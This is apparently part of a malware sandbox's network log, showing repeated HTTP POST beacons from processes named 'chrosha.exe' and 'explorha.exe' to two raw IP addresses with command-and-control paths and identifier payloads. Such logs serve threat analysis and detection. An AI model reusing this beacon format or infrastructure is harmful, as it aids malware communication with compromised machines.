Apr 19, 2024 03:35:19.448587894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.5	51017	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:19.275003910 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:19.520519972 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.5	51018	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:19.769016981 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:20.018354893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.5	51019	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:19.811000109 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:20.055469036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.5	51020	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:20.311156988 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:20.566304922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1167	192.168.2.5	51021	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:20.380181074 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:20.624376059 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1168	192.168.2.5	51022	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:20.878110886 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:21.132797956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.5	51023	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:20.916228056 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:21.162967920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.5	51024	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:21.421154022 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:21.673413038 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.5	51025	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:21.497060061 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:21.746897936 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.5	51026	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:21.999202967 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:22.248881102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.5	51027	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:22.025607109 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:22.271529913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.5	51028	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:22.521315098 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:22.773346901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.5	51029	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:22.600732088 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:22.844890118 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.5	51030	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:23.092057943 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:23.338212013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.5	51031	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:23.124923944 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:23.376434088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1178	192.168.2.5	51032	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:23.631459951 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:23.881716013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1179	192.168.2.5	51033	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:23.691299915 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:23.933403969 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1180	192.168.2.5	51034	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:24.186110020 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:24.436192036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1181	192.168.2.5	51035	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:24.228682995 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:24.471506119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1182	192.168.2.5	51036	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:24.722877026 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:24.974175930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1183	192.168.2.5	51037	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:24.786358118 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:25.029217005 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1184	192.168.2.5	51038	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:25.293483973 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:25.550812960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1185	192.168.2.5	51039	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:25.317909002 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:25.557913065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1186	192.168.2.5	51040	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
